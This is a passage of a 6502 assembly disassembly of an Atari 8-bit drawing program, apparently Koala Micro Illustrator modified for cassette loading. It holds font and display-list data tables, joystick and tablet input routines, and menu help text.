$00, $FC, $CC, $CC, $FC, $0C, $FC .byte $00, $C0, $C0, $FC, $CC, $CC, $CC, $00 .byte $00, $30, $00, $30, $30, $30, $30, $00 .byte $00, $0C, $00, $0C, $0C, $0C, $CC, $FC .byte $00, $C0, $CC, $F0, $CC, $CC, $CC, $00 .byte $00, $30, $30, $30, $30, $30, $30, $00 .byte $00, $00, $CC, $FC, $FC, $CC, $CC, $00 .byte $00, $00, $F0, $CC, $CC, $CC, $CC, $00 .byte $00, $00, $FC, $CC, $CC, $CC, $FC, $00 .byte $00, $00, $FC, $CC, $CC, $FC, $C0, $C0 .byte $00, $00, $FC, $CC, $CC, $FC, $0C, $0C .byte $00, $00, $FC, $CC, $C0, $C0, $C0, $00 .byte $00, $00, $FC, $C0, $FC, $0C, $FC, $00 .byte $00, $30, $FC, $30, $30, $30, $30, $00 .byte $00, $00, $CC, $CC, $CC, $CC, $3C, $00 .byte $00, $00, $CC, $CC, $CC, $CC, $30, $00 .byte $00, $00, $CC, $CC, $FC, $FC, $CC, $00 .byte $00, $00, $CC, $CC, $30, $CC, $CC, $00 .byte $00, $00, $CC, $CC, $CC, $FC, $0C, $FC .byte $00, $00, $FC, $0C, $30, $C0, $FC, $00 .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $FF, $FF, $FF, $CF, $CF, $FF, $FF, $FF .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $3F, $03, $3F, $33, $3F, $00 .byte $00, $00, $FF, $FF, $DF, $CF, $0F, $0F .byte $00, $00, $3F, $33, $30, $33, $3F, $00 .byte $00, $00, $00, $00, $00, $3F, $3F, $00 .byte $00, $00, $3F, $33, $3F, $30, $3F, $00 .byte $00, $00, $C0, $C0, $C0, $C0, $FD, $FF .byte $00, $00, $3F, $33, $33, $3F, $03, $3F .byte $00, $30, $30, $3F, $33, $33, $33, $00 .byte $0C, $00, $3C, $0C, $0C, $0C, $3F, $00 .byte $0F, $0F, $0F, $0F, $0F, $0F, $3F, $3F .byte $03, $03, $03, $03, $03, $03, $C3, $C3 .byte $00, $3C, $0C, $0C, $0C, $0C, $3F, $00 .byte $D3, $C3, $C3, $C3, $C3, $C3, $C3, $C3 .byte $00, $00, $3C, $33, $33, $33, $33, $00 .byte $00, $00, $3F, $33, $33, $33, $3F, $00 .byte $00, $00, $3F, $33, $33, $3F, $30, $30 .byte $CF, $CD, $CF, $CF, $CD, $CF, $C7, $C1 .byte $00, $00, $3F, $33, $30, $30, $30, $00 .byte $00, $00, $3F, $30, $3F, $03, $3F, $00 .byte $00, $0C, $3F, $0C, $0C, $0C, $0F, $00 .byte $0F, $07, $FF, $FD, $00, $00, $FC, $FC .byte $00, $00, $00, $00, $00, $00, $01, $47 .byte $00, $00, $F3, $F3, $73, $33, $03, $03 .byte $00, $00, $00, $00, $00, $00, $F4, $FD .byte $00, $0F, $3F, $3D, $3C, $3D, $3F, $0F .byte $3F, $33, $30, $30, $30, $33, $3F, $00 .byte $0F, $FF, $FF, $0F, $0F, $0F, $FF, $FF .byte $00, $00, $00, $00, $00, $FC, $FF, $1F .byte $FF, $FF, $FF, $FF, $F3, $F3, $FF, $FF .byte $3F, $3F, $0C, $0C, $0C, $0C, $0C, $00 .byte $10, $18, $1C, $1E, $1C, $18, $10, $00 .byte $03, $03, $03, $03, $03, $03, $03, $03 .byte $3F, $3F, $3F, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $03, $03 .byte $00, $00, $00, $00, $00, $00, $F0, $FC .byte $03, $03, $00, $00, $00, $00, $00, $03 .byte $FF, $FF, $00, $00, $00, $3F, $FF, $FF .byte $FF, $FF, $FF, $3F, $3F, $FF, $FF, $FF .byte $FF, $FC, $F0, $F0, $F0, $F0, $FC, $FF .byte $FF, $00, $00, $00, $00, $00, $00, $FF .byte $FF, $3F, $3F, $3F, $3F, $3F, $3F, $FF .byte $03, $00, $00, $00, $00, $00, $00, $00 .byte $FF, $FF, $3F, $00, $00, $00, $00, $00 .byte $C0, $C0, $C1, $C3, $C7, $CF, $DF, $FF .byte $7C, $F4, $F0, $D0, $C0, $40, $F0, $FC .byte $3C, $3C, $3C, $3C, $3C, $3C, $3C, $3C .byte $00, $00, $00, $00, $00, $3F, $FF, $F4 .byte $00, $00, $00, $00, $00, $F0, $FC, $7C .byte $F0, $F0, $F0, $F0, $F0, $F4, $FF, $3F .byte $3C, $3C, $3C, $3C, $3C, $7C, $FC, $F0 .byte $00, $00, $00, $00, $00, $FF, $FF, $00 .byte $00, $00, $00, $00, $00, $F0, $FC, $7C .byte $00, $3F, $FF, $F4, $F0, $F4, $FF, $3F .byte $3C, $FC, $FC, $3C, $3C, $3C, $FC, $FC .byte $FF, $FF, $FF, $00, $00, $00, $00, $00 .byte $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0 .byte $FF, $FF, $FF, $FF, $F3, $F3, $FF, $FF .byte $FF, $FF, $FF, $FF, $F3, $F3, $FF, $FF .byte $FF, $FF, $FF, $FF, $F3, $F3, $FF, $FF .byte $00, $00, $00, $00, $00, $FC, $FF, $1F .byte $FF, $FF, $FF, $FF, $F3, $F3, $FF, $FF .byte $00, $00, $00, $00, $FC, $30, $30, $30 .byte $00, $00, $00, $00, $FC, $FC, $CC, $CC .byte $40, $41, $41, $41, $41, $41, $41, $41 .byte $41, $6B, $6F, $61, $6C, $61, $41, $6D .byte $69, $63, $72, $6F, $41, $76, $6C, $6C .byte $75, $73, $74, $72, $61, $74, $6F, $72 .byte $41, $41, $41, $41, $41, $41, $41, $47 .byte $50, $51, $51, $51, $51, $51, $51, $51 .byte $52, $62, $64, $65, $79, $65, $51, $67 .byte $68, $6A, $6E, $64, $51, $70, $66, $66 .byte $71, $77, $78, $6E, $65, $78, $64, $6E .byte $52, $51, $51, $51, $51, $51, $51, $48 .byte $01, $0B, $32, $21, $37, $00, $00, $00 .byte $55, $0C, $2F, $29, $2E, $34, $00, $00 .byte $55, $0D, $29, $2E, $25, $00, $00, $00 .byte $55, $0E, $30, $2C, $29, $2E, $25, $00 .byte $55, $0F, $21, $39, $33, $00, $00, $42 .byte $01, $00, $10, $11, $00, $13, $14, $00 .byte $55, $00, $15, $16, $15, $16, $00, $00 .byte $55, $00, $00, $00, $00, $00, $12, $00 .byte $55, $00, $00, $4A, $1E, $1F, $00, $00 .byte $55, $00, $09, $0A, $0B, $0C, $0D, $42 .byte $01, $00, $20, $21, $22, $23, $00, $00 .byte $55, $00, $25, $26, $27, $28, $16, $00 .byte $55, $00, $00, $29, $2A, $2B, $12, $00 .byte $55, $00, $2C, $2D, $2E, $2F, $00, $00 .byte $55, $00, $19, $1A, $1B, $1C, $1D, $42 .byte $02, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $43 .byte $01, $1B, $29, $2C, $2C, $00, $00, $00 .byte $55, $1B, $32, $21, $2D, $25, $00, $00 .byte $55, $1C, $2F, $38, $00, $00, $00, $00 .byte $55, $1D, $29, $32, $23, $2C, $25, $00 .byte $55, $0B, $29, $33, $23, $64, $66, $42 .byte $01, $00, $35, $36, $37, $38, $39, $00 .byte $55, $00, $3F, $2C, $24, $18, $03, $00 .byte $55, $00, $59, $59, $00, $58, $58, $00 .byte $55, $00, $5C, $5D, $0E, $06, $07, $00 .byte $55, $00, $60, $7A, $04, $7B, $4B, $42 .byte $01, $00, $30, $31, $32, $33, $34, $00 .byte $55, $00, $3A, $3B, $3C, $3D, $3E, $00 .byte $55, $00, $58, $58, $4D, $49, $00, $00 .byte $55, $00, $5A, $5B, $0F, $04, $05, $00 .byte $55, $00, $4E, $4F, $7C, $7E, $00, $42 .byte $02, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $46 .byte $45, $46, $46, $46, $46, $08, $46, $46 .byte $45, $46, $46, $46, $46, $46, $46, $43 .byte $01, $1E, $32, $21, $33, $25, $79, $7A .byte $55, $1F, $34, $2F, $32, $21, $27, $25 .byte $55, $40, $29, $32, $32, $2F, $32, $00 .byte $55, $40, $21, $27, $2E, $29, $26, $39 .byte $55, $1D, $2F, $2C, $2F, $32, $00, $42 .byte $01, $00, $72, $73, $74, $76, $77, $78 .byte $55, $00, $00, $4D, $60, $7B, $00, $00 .byte $55, $00, $00, $09, $00, $0A, $00, $00 .byte $55, $00, $03, $04, $05, $06, $07, $00 .byte $55, $00, $40, $25, $2E, $35, $00, $42 .byte $01, $00, $6A, $6B, $6C, $6F, $71, $00 .byte $55, $00, $00, $4D, $5E, $5F, $00, $00 .byte $55, $00, $00, $19, $00, $1A, $00, $00 .byte $55, $00, $13, $14, $15, $16, $17, $07 .byte $55, $00, $00, $4D, $4B, $4C, $00, $42 .byte $53, $54, $54, $54, $54, $54, $54, $54 .byte $56, $54, $54, $54, $54, $54, $54, $54 .byte $56, $54, $54, $54, $54, $54, $54, $54 .byte $56, $54, $54, $54, $18, $08, $54, $54 .byte $56, $54, $54, $54, $54, $54, $54, $57 .byte $41, $54, $54, $54, $44, $54, $54, $54 .byte $44, $54, $54, $54, $44, $54, $54, $54 .byte $44, $54, $54, $54, $44, $54, $02, $54 .byte $44, $54, $54, $54, $44, $54, $54, $54 .byte $44, $54, $54, $54, $20, $22, $24, $28 .byte $01, $46, $47, $48, $55, $00, $49, $00 .byte $55, $00, $4A, $00, $55, $00, $4E, $00 .byte $55, $00, $50, $00, $55, $00, $51, $00 .byte $55, $52, $58, $59, $55, $5A, $5B, $5C .byte $55, $11, $10, $00, $2A, $2B, $31, $36 .byte $53, $54, $45, $54, $56, $54, $54, $54 .byte $56, $54, $54, $54, $56, $54, $54, $54 .byte $56, $54, $4F, $54, $56, $54, $45, $54 .byte $56, $54, $54, $54, $56, $54, $54, $54 .byte $56, $54, $54, $54, $3A, $54, $3B, $57 .byte $00, $D0, $D1, $D1, $D1, $D1, $D1, $D1 .byte $D1, $D1, $D1, $D1, $D1, $D1, $D1, $D1 .byte $D1, $D1, $D1, $D1, $D1, $D1, $D1, $D1 .byte $D1, $D1, $D1, $D1, $D1, $D1, $D1, $D1 .byte $D1, $D1, $D1, $D1, $D1, $D1, $CF, $00 .byte $00, $C2, $00, $00, $00, $00, $00, $00 .byte $00, $00, $C2, $43, $43, $43, $43, $43 .byte $43, $43, $43, $C5, $47, $47, $47, $47 .byte $47, $47, $47, $47, $C8, $49, $49, $49 .byte $49, $49, $49, $49, $49, $49, $C0, $00 .byte $00, $CB, $CD, $CD, $CD, $CD, $CD, $CD .byte $CD, $CD, $CD, $CD, $CD, $CD, $CD, $CD .byte $CD, $CD, $CD, $CD, $CD, $CD, $CD, $CD .byte $CD, $CD, $CD, $CD, $CD, $CD, $CD, $CD .byte $CD, $CD, $CD, $CD, $CD, $CD, $CC, $00 .byte $00, $00, $21, $21, $11, $22, $22, $12 .byte $23, $23, $13, $24, $24, $14, $25, $25 .byte $15, $26, $26, $16, $27, $27, $17, $28 .byte $28, $18, $29, $29, $19, $2A, $2A, $1A .byte $2B, $2B, $1B, $2C, $2C, $1C, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $65, $6C, $69, $6A, $61, $00, $69, $63 .byte $6F, $6E, $6F, $00, $79, $00, $70, $72 .byte $65, $73, $69, $6F, $6E, $65, $00, $6C .byte $61, $00, $62, $61, $72, $72, $61, $00 .byte $65, $73, $70, $61, $63, $69, $6F, $00 .byte $70, $70, $70, $70, $70, $70, $70, $44 .byte $CB, $31, $44, $04, $32, $C4, $48, $32 .byte $D7, $6E, $32, $70, $70, $70, $70, $70 .byte $44, $DF, $31, $44, $19, $32, $70, $70 .byte $42, $81, $32, $70, $44, $A7, $32, $44 .byte $CA, $32, $44, $ED, $32, $44, $3E, $32 .byte $41, $98, $31, $00, $00, $00, $00, $02 .byte $17, $06, $16, $23, $00, $20, $2C, $2D .byte $2F, $30, $33, $34, $2E, $04, $3C, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $70, $72, $69, $73, $6D .byte $61, $00, $73, $6F, $66, $74, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $0A, $0B, $0D, $11, $15, $00, $20, $38 .byte $2E, $31, $32, $35, $36, $2E, $19, $1B .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $8F, $9D, $9E, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $3E, $3F, $00, $00 .byte $AD, $A9, $A3, $B2, $AF, $00, $A9, $AC .byte $AC, $B5, $B3, $B4, $B2, $A1, $B4, $AF .byte $B2, $00, $00, $6D, $6F, $64, $69, $66 .byte $69, $65, $64, $00, $66, $6F, $72, $00 .byte $63, $61, $73, $73, $65, $74, $74, $65 .byte $00, $62, $79, $00, $72, $61, $67, $6D .byte $61, $6E, $00, $74, $6D, $00, $00, $00 .byte $00, $2D, $6F, $70, $79, $72, $69, $67 .byte $68, $74, $08, $10, $00, $30, $31, $3E .byte $3F, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $05 .byte $06, $07, $00, $00, $00, $2F, $73, $6C .byte $61, $6E, $64, $00, $2E, $72, $61, $70 .byte $68, $69, $63, $73, $00, $2D, $6F, $72 .byte $70, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $0B, $0C, $0D, $9F, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $36, $6C, $6C, $00, $32, $69, $67 .byte $68, $74, $73, $00, $32, $65, $73, $65 .byte $72, $76, $65, $64, $00 START jsr L_48B6 lda #$0C sta FLPTR+1 jsr L_3F87 lda #$60 sta RADFLG ldx #$60 lda #$0C sta B0_ICCOM,x jsr CIOV lda #$03 sta B0_ICCOM,x lda #$7B sta B0_ICBAL,x lda #$34 sta B0_ICBAH,x lda #$38 sta B0_ICAX2,x lda FLPTR+1 sta B0_ICAX1,x jsr CIOV ldx #$04 L_334B lda $049B,x sta COLOR0,x dex bpl L_334B lda #$2C sta FLPTR+1 lda #$07 ldy #$03 ldx #$54 jsr SETVBV lda #$40 sta NMIEN lda #$FF sta COLDST jmp L_33A1 WAIT_STICK lda STICK0 ; check JoyStick cmp #$FF beq WAIT_STICK ldx #$FF stx STICK0 tay and #$01 ; check JoyStick Y bne L_3381 dec STICK_Y L_3381 tya and #$02 bne L_3388 inc STICK_Y L_3388 tya and #$04 ; check JoyStick X bne L_338F dec STICK_X L_338F tya and #$08 bne L_3396 inc STICK_X L_3396 ldy #$00 txa cmp STICK_X bne L_33A0 inc STICK_X iny L_33A0 rts L_33A1 lda BOOT cmp #$01 bne L_33AA jsr $07E0 L_33AA lda SDLSTL sta STOPLN+1 lda SDLSTH sta TRAPLN sec sbc #$05 and #$F8 adc #$03 sta DIGRT lda #$00 sta FCHRFLG jsr L_3D93 ldy #$03 L_33C6 lda (STOPLN+1),y cmp #$4F bne L_33D4 lda #$4E sta (STOPLN+1),y iny iny bne L_33DC L_33D4 cmp #$0F bne L_33DC lda #$0E sta (STOPLN+1),y L_33DC iny lda (STOPLN+1),y cmp #$41 bne L_33C6 ldy #$04 lda (STOPLN+1),y sta TRAPLN+1 sta $04A1 iny lda (STOPLN+1),y sta SAVCUR sta $0561 ldy #$00 sty $CF sty $D0 L_33FA clc lda $04A1,y adc #$28 sta $04A2,y lda $0561,y adc #$00 sta $0562,y iny cpy #$BF bne L_33FA lda #$70 ldx #$03 L_3414 sta $0620,x dex bne L_3414 lda #$41 sta $066C lda #$21 sta $066D lda #$06 sta $066E ldx #$45 lda #$58 L_342D sta $0624,x dex dex dex bpl L_342D jsr $347F tsx stx FRE+3 lda #$00 sta EXSVPR lda #$08 sta ONLOOP lda #$00 sta LELNUM lda #$01 jsr L_58D4 lda #$4F sta $CB lda #$5F sta $CC sta FR1+2 lda #$3A sta FR1+1 jmp L_3DC2 plp .byte $43 and #$20 and (RECVDN),y sec .byte $33 jsr $7349 jmp ($6E61) .byte $64 jsr $7247 adc (ROWAC,x) pla adc #$63 .byte $73 jsr $6F43 .byte $72 bvs $34A9 .byte $53 .byte $44 .byte $52 jmp $8720 .byte $3F jsr L_4DB8 ldx #$04 L_3487 lda L_34D1,x sta COLOR0,x dex bpl L_3487 lda #$0C sta HSCROL lda #$2C sta INBUFF+1 lda #$B5 sta VDSLST lda #$34 sta VDSLST+1 ldy #$31 lda #$98 jsr L_4DF8 lda #$FF sta CH jsr L_4DE6 jmp L_3F64 pha lda FR2+3 lsr bcs L_34C7 lda #$E0 sta WSYNC sta CHBASE L_34C3 inc FR2+3 pla rti L_34C7 lda #$28 sta WSYNC sta CHBASE bne L_34C3 L_34D1 cpy ICBALZ .byte $0C dey .byte $02 L_34D6 lda #$01 sta GPRIOR ldx #$04 L_34DD lda L_34FA,x sta COLOR0,x dex bpl L_34DD ldx #$0C stx PCOLR1 lda $049F and #$0E cmp #$08 bcc L_34F6 ldx #$00 L_34F6 stx $049E rts L_34FA .byte $C6, $86, $0A, $1E, $00, $70, $70, $70 .byte $44, $00, $2E, $84, $84, $04, $04, $84 .byte $84, $04, $04, $84, $04, $04, $04, $04 .byte $04, $04, $84, $00, $64, $A8, $30, $25 .byte $24, $24, $64, $20, $31, $84, $04, $41 .byte $97, $06, $70, $70, $70, $57, $38, $36 .byte $30, $56, $5A, $35, $70, $56, $6D, $35 .byte $70, $42, $7D, $35, $00, $42, $99, $35 .byte $00, $42, $B5, $35, $00, $42, $18, $36 .byte $00, $42, $D4, $35, $30, $70, $30, $42 .byte $7D, $35, $00, $02, $00, $02, $30, $02 .byte $20, $70, $42, $45, $36, $41, $97, $06 .byte $00, $00, $2D, $29, $23, $32, $2F, $00 .byte $29, $2C, $2C, $35, $33, $34, $32, $21 .byte $34, $2F, $32, $00, $00, $00, $00, $00 .byte $8D, $00, $B3, $B4, $AF, $B2, $A1, $A7 .byte $A5, $00, $8D, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $23 .byte $61, $72, $67, $61, $72, $00, $64, $69 .byte $62, $75, $6A, $6F, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $27, $72, $61, $62, $61 .byte $72, $00, $64, $69, $62, $75, $6A, $6F .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $2B, $2F .byte $21, $2C, $21, $00, $00, $00, $00, $00 .byte $00, $00, $00, $25, $33, $23, $09, $00 .byte $00, $32, $65, $74, $75, $72, $6E, $00 .byte $74, $6F, $00, $30, $69, $63, $74, $75 .byte $72, $65, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00 lda FLPTR bne L_3674 jsr L_3F87 L_3674 lda #$00 sta FLPTR sta $CF jsr L_4DB8 jsr L_34D6 lda #$04 sta COLOR1 lda #$0C sta HSCROL lda #$E0 sta INBUFF+1 lda #$A3 ldy #$36 jsr L_4DF8 L_3695 jsr L_53D9 bne L_3695 jsr L_4DE6 jsr L_3F64 jmp L_3DA9 .byte $70, $70, $70, $57, $38, $36, $30, $56 .byte $5A, $35, $40, $46, $EC, $36, $70, $42 .byte $66, $37, $00, $42, $8C, $37, $00, $42 .byte $B1, $37, $40, $42, $D6, $37, $00, $42 .byte $FB, $36, $40, $42, $1E, $37, $00, $42 .byte $FD, $37, $00, $42, $25, $38, $10, $42 .byte $4D, $38, $00, $42, $75, $38, $00, $42 .byte $9C, $38, $20, $42, $3E, $37, $00, $42 .byte $C2, $38, $70, $42, $45, $36, $41, $A3 .byte $36, $00, $00, $00, $00, $00, $00, $8D .byte $00, $A8, $A5, $AC, $B0, $00, $8D, $00 .byte $00, $00, $00, $00, $00, $64, $72, $61 .byte $77, $69, $6E, $67, $0C, $00, $6F, $72 .byte $00, $6D, $61, $6B, $69, $6E, $67, $00 .byte $73, $65, $6C, $65, $63, $74, $69, $6F .byte $6E, $73, $0E, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $24, $32, $21, $37, $00, $2D .byte $2F, $24, $25, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $21, $2C, $2C, $00, $2F .byte $34, $28, $25, $32, $00, $2D, $2F, $24 .byte $25, $33, $00, $06, $00, $2D, $25, $2E .byte $35, $33, $00, $00, $00, $00, $00, $00 .byte $00, $00, $00, $00, $2C, $69, $66, $74 .byte $00, $73, $74, $79, $6C, $75, $73, $00 .byte $06, $00, $70, $72, $65, $73, $73, $00 .byte $61, $6E, $79, $00, $74, $61, $62, $6C .byte $65, $74, $00, $62, $75, $74, $74, $6F .byte $6E, $00, $00, $00, $74, $6F, $00, $73 .byte $77, $69, $74, $63, $68, $00, $62, $65 .byte $74, $77, $65, $65, $6E, $00, $70, $69 .byte $63, $74, $75, $72, $65, $00, $5E, $5F .byte $00, $6D, $65, $6E, $75, $0C, $00, $00 .byte $00, $61, $6E, $64, $00, $74, $6F, $00 .byte $64, $65, $74, $61, $63, $68, $00, $61 .byte $00, $72, $75, $62, $62, $65, $72, $0D .byte $62, $61, $6E, $64, $00, $6C, $69, $6E .byte $65, $0E, $00, $00, $00, $00, $2B, $65 .byte $65, $70, $00, $73, $74, $79, $6C, $75 .byte $73, $00, $2F, $2E, $00, $74, $61, $62 .byte $6C, $65, $74, $00, $77, $68, $65, $6E .byte $00, $6D, $6F, $76, $69, $6E, $67, $0C .byte $00, $00, $00, $2C, $25, $26, $34, $00 .byte $22, $35, $34, $34, $2F, $2E, $1A, $00 .byte $30, $72, $65, $73, $73, $00, $06, $00 .byte $28, $2F, $2C, $24, $00, $74, $6F, $00 .byte $64, $72, $61, $77, $0C, $00, $00, $00 .byte $00, $00, $00, $72, $65, $6C, $65, $61 .byte $73, $65, $00, $74, $6F, $00, $6D, $6F .byte $76, $65, $00, $77, $69, $74, $68, $6F .byte $75, $74, $00, $64, $72, $61, $77, $69 .byte $6E, $67, $0E, $00, $00, $00, $00, $00 .byte $00, $00, $00, $32, $29, $27, $28, $34 .byte $00, $22, $35, $34, $34, $2F, $2E, $1A .byte $00, $30, $72, $65, $73, $73, $00, $06 .byte $00, $72, $65, $6C, $65, $61, $73, $65 .byte $00, $74, $6F, $00, $0D, $00, $00, $00 .byte $00, $00, $00, $2C, $6F, $63, $6B, $00 .byte $08, $64, $72, $61, $77, $00, $77, $69 .byte $74, $68, $00, $6E, $6F, $00, $62, $75 .byte $74, $74, $6F, $6E, $73, $00, $70, $72 .byte $65, $73, $73, $65, $64, $09, $00, $6F .byte $72, $00, $35, $6E, $6C, $6F, $63, $6B .byte $00, $08, $66, $6F, $72, $00, $6D, $6F .byte $76, $69, $6E, $67, $00, $77, $69, $74 .byte $68, $6F, $75, $74, $00, $64, $72, $61 .byte $77, $69, $6E, $67, $09, $0E, $00, $00 .byte $00, $35, $73, $65, $00, $61, $6E, $79 .byte $00, $74, $61, $62, $6C, $65, $74, $00 .byte $62, $75, $74, $74, $6F, $6E, $00, $66 .byte $6F, $72, $00, $73, $65, $6C, $65, $63 .byte $74, $69, $6F, $6E, $73, $0E, $00 lda FLPTR bne L_38F1 jsr L_3F87 L_38F1 jsr L_3D87 L_38F4 jsr L_4523 lda #$00 sta $CF sta HPOSP1 sta MEOLFLG jsr L_4DB8 lda #$01 sta FLPTR sta SIZEP2 sta SIZEP3 lda #$FF sta CH clc lda FCHRFLG sta STOPLN+1 lda DIGRT adc #$02 sta TRAPLN jsr L_3B8D inc TRAPLN jsr L_3B8D lda #$A4 sta HPOSP2 lda #$BC sta HPOSP3 lda #$1D sta VDSLST lda #$3B sta VDSLST+1 ldx #$29 L_393B lda L_3BB3,x sta $0697,x dex bpl L_393B jsr L_5C20 lda STARP sta $069E lda STARP+1 sta $069F jsr L_5CEF lda #$08 sta SVESA+1 L_3958 ldx SVESA+1 ldy $3CA0,x sty STMCUR+1 ldy $3C97,x sty STMCUR lda $3CA9,x sta TOPSTK lda $3CB2,x sta TOPSTK+1 jsr L_5C52 jsr L_5C8B dec SVESA+1 bpl L_3958 lda #$97 ldy #$06 jsr L_4DF8 lda #$08 sta ONLOOP jsr L_565C L_3986 lda FCHRFLG sta STOPLN+1 ldx DIGRT inx stx TRAPLN jsr L_4105 lda OPSTKX cmp #$04 bcc L_399C lda #$01 sta OPSTKX L_399C ldx #$05 ldy #$B7 L_39A0 lda L_410E,x sta (STOPLN+1),y dey dex bpl L_39A0 ldx OPSTKX lda L_3AEE,x sta HPOSP1 ldy #$0F L_39B3 sty SVESA+1 ldx #$22 jsr L_5C4E lda #$00 jsr L_5C7C ldy SVESA+1 ldx #$1C jsr L_5C4E lda #$00 jsr L_5C7C ldy SVESA+1 ldx #$19 jsr L_5C4E lda SVESA+1 cmp #$0A bcc L_39E4 lda #$11 jsr L_5C7C lda SVESA+1 sec sbc #$0A bcc L_39ED L_39E4 pha ldy SVESA+1 ldx #$1A jsr L_5C4E pla L_39ED ora #$10 jsr L_5C7C ldy SVESA+1 dey bpl L_39B3 ldx OPSTKX bne L_39FD ldx #$05 L_39FD dex lda $049B,x sta SVESA+1 and #$0F sta STMTAB+1 ldy #$00 cmp #$08 bcs L_3A0F ldy #$0C L_3A0F sty PCOLR1 cpx #$04 bne L_3A19 sty $049E L_3A19 tay ldx #$22 jsr L_5C4E lda #$5F jsr L_5C7C lda SVESA+1 and #$F0 sta RUNSTK lsr lsr lsr lsr tay ldx #$1C jsr L_5C4E lda #$5F jsr L_5C7C L_3A39 jsr L_5147 jsr L_4DC2 jsr L_5917 lda #$FF sta CH lda FR2 cmp #$08 bne L_3A5D lda FRE+4 and #$3F ldx #$02 L_3A53 cmp $3AFA,x beq L_3A89 dex bpl L_3A53 bmi L_3A39 L_3A5D lda $CC cmp #$B8 bcs L_3A95 cmp #$88 bcs L_3AAA cmp #$08 bcc L_3A39 lda $CB cmp #$88 bcs L_3AC0 cmp #$64 bcs L_3ACB jsr L_3ADA ldx #$04 L_3A7A cmp $3B13,x beq L_3A84 dex bpl L_3A7A bmi L_3A39 L_3A84 lda $3B18,x bcs L_3A89 L_3A89 ldx #$0A L_3A8B cmp $3AF2,x beq L_3AB2 dex bpl L_3A8B bmi L_3A39 L_3A95 lda #$00 sta FLPTR sta SIZEP2 sta SIZEP3 sta HPOSP3 lda OPSTKX jsr L_58D4 jmp L_3DA9 L_3AAA jsr L_3B9C stx OPSTKX jmp L_3986 L_3AB2 lda $3AFD,x ldy $3B08,x jmp L_4D8C stx OPSTKX jmp L_3986 L_3AC0 jsr L_3ADA ora RUNSTK jsr L_3AE3 jmp L_3986 L_3ACB jsr L_3ADA asl asl asl asl ora STMTAB+1 jsr L_3AE3 jmp L_3986 L_3ADA lda $CC sec sbc #$07 lsr lsr lsr rts L_3AE3 ldx OPSTKX bne L_3AE9 ldx #$05 L_3AE9 dex sta $049B,x rts L_3AEE .byte $53, $77, $9B, $C0, $32, $1F, $1E, $1A .byte $28, $3F, $3A, $00, $21, $1C, $0C, $BB .byte $BB, $BB, $BB, $BB, $E1, $64, $77, $95 .byte $95, $95, $3A, $3A, $3A, $3A, $3C, $3C .byte $3D, $3D, $3A, $3A, $3A, $07, $09, $0B .byte $0D, $0E, $28, $3A, $00, $3F, $3F pha lda FR2+3 bne L_3B37 eor COLRSH and DRKMSK sta WSYNC sta COLPF2 lda #$0C eor COLRSH and DRKMSK sta COLPF1 lda FR2+3 L_3B37 cmp #$10 beq L_3B61 and #$F0 ora STMTAB+1 sta WSYNC eor COLRSH and DRKMSK sta COLPM2 lda FR2+3 and #$0F ora RUNSTK eor COLRSH and DRKMSK sta COLPM3 clc lda FR2+3 adc #$11 sta FR2+3 sta ZTEMP1 pla rti L_3B61 dec FR2+3 lda ZTEMP1 beq L_3B6E lda #$00 sta ZTEMP1 